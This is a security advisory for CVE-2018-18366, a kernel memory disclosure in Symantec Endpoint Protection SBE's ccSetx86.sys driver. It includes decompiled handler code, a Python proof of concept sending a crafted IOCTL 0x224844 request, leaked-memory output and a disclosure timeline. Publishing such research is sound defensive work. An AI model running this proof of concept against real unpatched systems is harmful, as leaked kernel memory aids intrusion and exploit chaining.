CVE-2018-18366
An exploitable kernel memory disclosure vulnerability exists in the 0x224844 IOCTL handler function of Symantec Endpoint Protection Small Business Edition ccSetx86.sys, version 16.0.0.77. A specially crafted IRP request can cause the driver to return uninitialized memory, resulting in kernel memory disclosure. An attacker can send an IRP request to trigger this vulnerability.
Symantec.cloud - Endpoint Protection - NIS-22.14.2.13 Symantec Endpoint Protection Small Business Edition ccSetx86.sys - Windows 7 x86
https://www.symantec.com/products/endpoint-smb
4.3 - CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
CWE-200: Information Exposure
Symantec Endpoint Protection Small Business Edition (SEP SBE) is a complex endpoint protection solution targeted toward small businesses.
This advisory is for a vulnerability in the ccSetx86.sys driver installed with SEP SBE and is active by default.
This vulnerability can be triggered by sending IOCTL requests to the ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3} device. Here, we show the default access controls on the device allow any user on the system to send IOCTL requests:
\Device\ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3}
Type: Device
RW Everyone
RW NT AUTHORITY\SYSTEM
We need to use the ZwOpenFile
API instead of trying to open exposed symlinks to this device via CreateFile
to obtain a valid handle to this device.
The kernel memory leak is located in the IOCTL handler for the 0x224844
control code. The vulnerable function is:
Line 1 signed int __stdcall sub_8DE2FB98(PIRP irp, int (__stdcall ***a2)(char *, _DWORD *, int *))
Line 2 {
Line 3 ULONG_PTR outLen;
Line 4 stackLocation = irp->Tail.Overlay.CurrentStackLocation;
Line 5 if ( !irp->AssociatedIrp.SystemBuffer
Line 6 || stackLocation->Parameters.DeviceIoControl.InputBufferLength < 2
Line 7 || stackLocation->Parameters.DeviceIoControl.OutputBufferLength < 4 )
Line 8 {
Line 9 return 0xC0000023;
Line 10 }
Line 11 if ( stackLocation->Parameters.DeviceIoControl.IoControlCode & 3 )
Line 12 {
Line 13 (...)
Line 14 }
Line 15 else
Line 16 {
Line 17 outUserBuffer = irp->AssociatedIrp.SystemBuffer;
Line 18 }
Line 19 if ( outUserBuffer )
Line 20 {
Line 21 someConstructor(&v14);
Line 22 v13 = copyString2(
Line 23 &v14,
Line 24 (int)irp->AssociatedIrp.SystemBuffer,
Line 25 stackLocation->Parameters.DeviceIoControl.InputBufferLength,
Line 26 (PWCHAR)&dstStringLen);
Line 27 if ( v13 >= 0 )
Line 28 {
Line 29 outLen = stackLocation->Parameters.DeviceIoControl.OutputBufferLength;
Line 30 v5 = (**v11)((char *)&v14, outUserBuffer, (int *)&outLen);// 8de2fb84
Line 31 if ( v5 >= 0 )
Line 32 {
Line 33 irp->IoStatus.Information = outLen;
Line 34 }
Line 35
Line 36 (...)
Is worth to mention that this vulnerability only manifests itself when METHOD_BUFFERED
is used during processing. We see at line 33
that if the function located at line 30
returns a positive value, the
IoStatus.Information
field, which indicates how many bytes will by returned from kernel mode in OutputBuffer
, is set to outLen - OutputBufferLen
. The value of that variable at the beginning of line 29
comes directly from the user so the amount of bytes returned to user mode will be fully controlled by the user if the outLen
variable is not accurately set.
We will take a look inside sub_8DE34328
function to see how exactly the outLen
variable is processed:
Line 1 int __thiscall sub_8DE34328(struct_this_3 *this, char *obj, int outUserBuffer, unsigned int *outLen)
Line 2 {
Line 3 (...)
Line 4
Line 5 outLen_ = *outLen;
Line 6 v12 = v18 + 2;
Line 7 someUnicodeString = v12;
Line 8 if ( outLen_ >= v12 )
Line 9 {
Line 10 if ( _outUserBuffer )
Line 11 returnCode = unicodeCopy((char *)&v17, _outUserBuffer, outLen_, &someUnicodeString);
Line 12 else
Line 13 returnCode = 0xC000000D;
Line 14 }
Line 15 else
Line 16 {
Line 17 *outLen = v12;
Line 18 returnCode = 0xC0000023;
Line 19 }
Line 20 (...)
We see that only if we do not pass the constraint at line 10
, outLen
is set to the value equal v12
and the function returns an error. In other cases, the outLen
value is not changed at all so a user fully controls its value.
Since the OutputBuffer
has not been cleared anywhere and there is no check to see how many bytes have really been set to it during this procedure, random kernel memory will be leaked to user space.
def test_device():
deviceName = r"\Device\ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3}"
ioControl = 0x224844
outBuffer = 0x5566
str1 = r"\??\c:\TALOS_INSIDE.bin".encode("UTF-16-LE")
inBuffer = struct.pack("<I", len(str1)+2)
inBuffer += str1
file('irp.bin','wb').write(inBuffer)
cmdStr = "DeviceOpen.exe {0} 0x{1:X} {2}".format(deviceName,ioControl,outBuffer)
print cmdStr
os.system(cmdStr)
//DeviceOpen.exe obtains device handle via ZwOpenFile, read irp.bin file content and pass it as a inputBuffer
Output:
c:\projects\symantec>python test.py
DeviceOpen.exe \Device\ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3} 0x224844 21862
Handle seems to be legit : 0x28
SUCCESS!
0000 : ..\.?.?.\.C.:.\. DE 00 5C 00 3F 00 3F 00 5C 00 43 00 3A 00 5C 00
0010 : P.r.o.g.r.a.m.D. 50 00 72 00 6F 00 67 00 72 00 61 00 6D 00 44 00
0020 : a.t.a.\.S.y.m.a. 61 00 74 00 61 00 5C 00 53 00 79 00 6D 00 61 00
0030 : n.t.e.c...c.l.o. 6E 00 74 00 65 00 63 00 2E 00 63 00 6C 00 6F 00
0040 : u.d.\.{.F.7.A.7. 75 00 64 00 5C 00 7B 00 46 00 37 00 41 00 37 00
0050 : 2.5.B.7.-.8.2.6. 32 00 35 00 42 00 37 00 2D 00 38 00 32 00 36 00
0060 : 7.-.4.9.4.C.-.9. 37 00 2D 00 34 00 39 00 34 00 43 00 2D 00 39 00
0070 : 6.4.7.-.F.4.F.C. 36 00 34 00 37 00 2D 00 46 00 34 00 46 00 43 00
0080 : 1.D.5.3.C.6.A.3. 31 00 44 00 35 00 33 00 43 00 36 00 41 00 33 00
0090 : }.\.C.o.m.m.o.n. 7D 00 5C 00 43 00 6F 00 6D 00 6D 00 6F 00 6E 00
00A0 : .C.l.i.e.n.t.\. 20 00 43 00 6C 00 69 00 65 00 6E 00 74 00 5C 00
00B0 : c.c.S.e.t.M.g.r. 63 00 63 00 53 00 65 00 74 00 4D 00 67 00 72 00
00C0 : \.s.y.m.S.e.t.t. 5C 00 73 00 79 00 6D 00 53 00 65 00 74 00 74 00
00D0 : i.n.g.s...d.a.t. 69 00 6E 00 67 00 73 00 2E 00 64 00 61 00 74 00
00E0 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00F0 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0100 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0110 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0120 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0130 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0140 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0150 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
(...)
3300 : e...........f... 65 01 00 00 82 01 00 00 03 01 C0 F8 66 01 00 00
3310 : ........g....... 92 01 00 00 03 01 C0 F8 67 01 00 00 9A 01 00 00
3320 : ....h........... 03 01 C0 F8 68 01 00 00 A2 01 00 00 03 01 C0 F8
3330 : i...........j... 69 01 00 00 AA 01 00 00 03 01 C0 F8 6A 01 00 00
3340 : ........k....... B2 01 00 00 03 01 C0 F8 6B 01 00 00 BA 01 00 00
3350 : ....l........... 03 01 C0 F8 6C 01 00 00 C2 01 00 00 03 01 C0 F8
3360 : m...........n... 6D 01 00 00 D2 01 00 00 03 01 C0 F8 6E 01 00 00
3370 : ........o....... DA 01 00 00 03 01 C0 F8 6F 01 00 00 0A 02 00 00
3380 : ....p........... 03 01 C0 F8 70 01 00 00 12 02 00 00 03 01 C0 F8
3390 : q...........r... 71 01 00 00 1A 02 00 00 03 01 C0 F8 72 01 00 00
33A0 : ".......s...*... 22 02 00 00 03 01 C0 F8 73 01 00 00 2A 02 00 00
33B0 : ....t...2....... 03 01 C0 F8 74 01 00 00 32 02 00 00 03 01 C0 F8
33C0 : u...:.......v... 75 01 00 00 3A 02 00 00 03 01 C0 F8 76 01 00 00
33D0 : B.......w...J... 42 02 00 00 03 01 C0 F8 77 01 00 00 4A 02 00 00
33E0 : ....x...R....... 03 01 C0 F8 78 01 00 00 52 02 00 00 03 01 C0 F8
33F0 : y...Z.......z... 79 01 00 00 5A 02 00 00 03 01 C0 F8 7A 01 00 00
3400 : b.......{...j... 62 02 00 00 03 01 C0 F8 7B 01 00 00 6A 02 00 00
3410 : ....|...q....... 03 01 C0 F8 7C 01 00 00 71 02 00 00 03 01 C0 F8
3420 : }...y.......~... 7D 01 00 00 79 02 00 00 03 01 C0 F8 7E 01 00 00
3430 : ........⌂....... A1 02 00 00 03 01 C0 F8 7F 01 00 00 A9 02 00 00
3440 : ................ 03 01 C0 F8 80 01 00 00 B9 02 00 00 03 01 C0 F8
3450 : ................ 81 01 00 00 C1 02 00 00 03 01 C0 F8 82 01 00 00
3460 : ................ C9 02 00 00 03 01 C0 F8 83 01 00 00 CD 02 00 00
3470 : ................ 03 01 C0 F8 84 01 00 00 D0 02 00 00 08 01 80 FF
3480 : ................ 85 01 00 00 D5 02 00 00 03 01 C0 F8 86 01 00 00
3490 : ................ D8 02 00 00 08 01 80 FF 87 01 00 00 E0 02 00 00
34A0 : ................ 08 01 80 FF 88 01 00 00 E8 02 00 00 08 01 80 FF
34B0 : ............\.D. FF FF FF FF F0 02 00 00 08 01 80 FF 5C 00 44 00
34C0 : E.V.I.C.E.\.H.A. 45 00 56 00 49 00 43 00 45 00 5C 00 48 00 41 00
34D0 : R.D.D.I.S.K.V.O. 52 00 44 00 44 00 49 00 53 00 4B 00 56 00 4F 00
34E0 : L.U.M.E.1.\.W.I. 4C 00 55 00 4D 00 45 00 31 00 5C 00 57 00 49 00
34F0 : N.D.O.W.S.\.S.Y. 4E 00 44 00 4F 00 57 00 53 00 5C 00 53 00 59 00
3500 : S.T.E.M.3.2.\.N. 53 00 54 00 45 00 4D 00 33 00 32 00 5C 00 4E 00
3510 : T.D.L.L...D.L.L. 54 00 44 00 4C 00 4C 00 2E 00 44 00 4C 00 4C 00
3520 : ..\.D.E.V.I.C.E. 00 00 5C 00 44 00 45 00 56 00 49 00 43 00 45 00
3530 : \.H.A.R.D.D.I.S. 5C 00 48 00 41 00 52 00 44 00 44 00 49 00 53 00
3540 : K.V.O.L.U.M.E.1. 4B 00 56 00 4F 00 4C 00 55 00 4D 00 45 00 31 00
3550 : \.W.I.N.D.O.W.S. 5C 00 57 00 49 00 4E 00 44 00 4F 00 57 00 53 00
3560 : \.S.Y.S.T.E.M.3. 5C 00 53 00 59 00 53 00 54 00 45 00 4D 00 33 00
3570 : 2.\.K.E.R.N.E.L. 32 00 5C 00 4B 00 45 00 52 00 4E 00 45 00 4C 00
3580 : 3.2...D.L.L...\. 33 00 32 00 2E 00 44 00 4C 00 4C 00 00 00 5C 00
3590 : D.E.V.I.C.E.\.H. 44 00 45 00 56 00 49 00 43 00 45 00 5C 00 48 00
35A0 : A.R.D.D.I.S.K.V. 41 00 52 00 44 00 44 00 49 00 53 00 4B 00 56 00
35B0 : O.L.U.M.E.1.\.W. 4F 00 4C 00 55 00 4D 00 45 00 31 00 5C 00 57 00
35C0 : I.N.D.O.W.S.\.S. 49 00 4E 00 44 00 4F 00 57 00 53 00 5C 00 53 00
35D0 : Y.S.T.E.M.3.2.\. 59 00 53 00 54 00 45 00 4D 00 33 00 32 00 5C 00
(...)
2018-10-23 - Vendor disclosure
2018-11-02 - Vendor acknowledged vulnerability
2018-12-04 - 30 day follow up
2019-02-11 - Vendor assigned CVE
2019-04-23 - Public release
Marcin 'Icewall' Noga of Cisco Talos.